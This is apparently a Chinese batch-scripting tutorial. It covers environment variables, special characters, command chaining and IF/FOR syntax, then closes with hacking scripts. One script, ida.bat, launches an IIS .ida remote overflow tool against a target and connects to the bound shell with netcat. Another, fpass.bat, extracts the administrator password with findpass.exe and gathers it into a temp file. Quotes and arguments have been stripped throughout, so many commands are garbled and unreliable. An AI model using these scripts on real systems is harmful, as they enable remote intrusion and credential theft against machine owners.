############################# 2. 环境变量的概念
############################# C:\\Program Files>set
ALLUSERSPROFILE=C:\\Documents and Settings\\All Users CommonProgramFiles=C:\\Program Files\\Common Files COMPUTERNAME=FIRST
ComSpec=C:\\WINNT\\system32\\cmd.exe NUMBER_OF_PROCESSORS=1 OS=Windows_NT
Os2LibPath=C:\\WINNT\\system32\\os2\\dll;
Path=C:\\WINNT\\system32;C:\\WINNT;C:\\WINNT\\system32\\WBEM PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0605 ProgramFiles=C:\\Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:\\WINNT TEMP=C:\\WINNT\\TEMP TMP=C:\\WINNT\\TEMP
USERPROFILE=C:\\Documents and Settings\\Default User windir=C:\\WINNT
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 %windir%\\system32\\. 这个目录里面. 一般就可以自动搜索到. 语法: copy mychenxu.exe %windir%\\system32\\. 使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号 %windir% 变量
%%windir%% 二次变量引用. 我们常用的还有 %temp% 临时文件目录 %windir% 系统目录 %errorlevel% 退出代码
输出文件到临时文件目录里面.这样便于当前目录整洁.
对有空格的参数. 你应该学会使用双引号(\来表示比如对porgram file文件夹操作
C:\\>dir p* C:\\ 的目录
2000-09-02 11:47 2,164 PDOS.DEF 1999-01-03 00:47
1 个目录 1,505,997,824 可用字节 C:\\>cd pro* C:\\Program Files> C:\\>
C:\\>cd \Files\ C:\\Program Files>
############################################ 3. 内置的特殊符号(实际使用中间注意避开)
############################################ 微软里面内置了下列字符不能够在创建的文件名中间使用 con nul aux \\ / | || && ^ > < *
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号\了) To create the variable value new&name, type: set varname=new^&name
To create the variable value \type: set varname=\
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find \Rim\< trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing > 创建一个文件 >> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa echo 1231231 > bbb () 包含命令
(echo aa & echo bb) , 和空格一样的缺省分隔符号. ; 注释,表示后面为注释 : 标号作用 | 管道操作
& Usage：第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令，而不管命令是否执行成功 dir c:\\*.exe & dir d:\\*.exe & dir e:\\*.exe
&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； 常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2 IF [NOT] string1==string2 command para1 para2 IF [NOT] EXIST filename command para1 para2 IF EXIST filename command para1 para2 IF NOT EXIST filename command para1 para2 IF \goto END IF \goto NET
IF NOT \goto OTHER
IF ERRORLEVEL 1 command para1 para2 IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F \tokens=2,3* delims=, \%i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数. eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 ######################## 4. 简单批处理文件概念
######################## echo This is test > a.txt type a.txt
echo This is test 11111 >> a.txt type a.txt
echo This is test 22222 > a.txt type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt netstat -n | find \
这个将要列出所有连接3389的用户的ip. ________________test.bat______ @echo please care echo plese care 1111 echo plese care 2222 echo plese care 3333 @echo please care @echo plese care 1111 @echo plese care 2222 @echo plese care 3333 rem 不显示注释语句,本行显示 @rem 不显示注释语句,本行不显示
@if exist %windir%\\system32\\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\\system32\\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
_____________________________
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. ___________________ida.bat_____ @rem ver 1.0
@if NOT exist %windir%\\system32\\idahack.exe echo \dont find idahack.exe\
@if NOT exist %windir%\\system32\\nc.exe echo \dont find nc.exe\
@if \==\goto USAGE @if NOT \==\goto SP2 :start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3 idahack.exe %1 80 1 99 >%temp%\\_tmp
@echo \exit code [%errorlevel%] idahack.exe\ @type %temp%\\_tmp
@find \luck :)\%temp%\\_tmp
@echo \exit code [%errorlevel%] find [goog luck]\ @if NOT errorlevel 1 nc.exe %1 99 @goto END :SP2
@idahack.exe %1 80 %2 99 %temp%\\_tmp @type %temp%\\_tmp
@find \luck :)\%temp%\\_tmp @if NOT errorlevel 1 nc.exe %1 99 @goto END :USAGE
@echo Example: ida.bat IP @echo Example: ida.bat IP (2,3) :END
_____________________ida.bat__END_______
下面我们再来第二个文件.就是得到administrator的口令. 大多数人说得不到.其实是自己的没有输入正确的信息.
___________________________fpass.bat____________________________________________ @rem ver 1.0
@if NOT exist %windir%\\system32\\findpass.exe echo \dont find findpass.exe\
@if NOT exist %windir%\\system32\\pulist.exe echo \dont find pulist.exe\
@echo start....
@echo ____________________________________ @if \goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\\_findpass.txt @echo \exit code [%errorlevel%] findpass.exe\ @type %temp%\\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\\_findpass.txt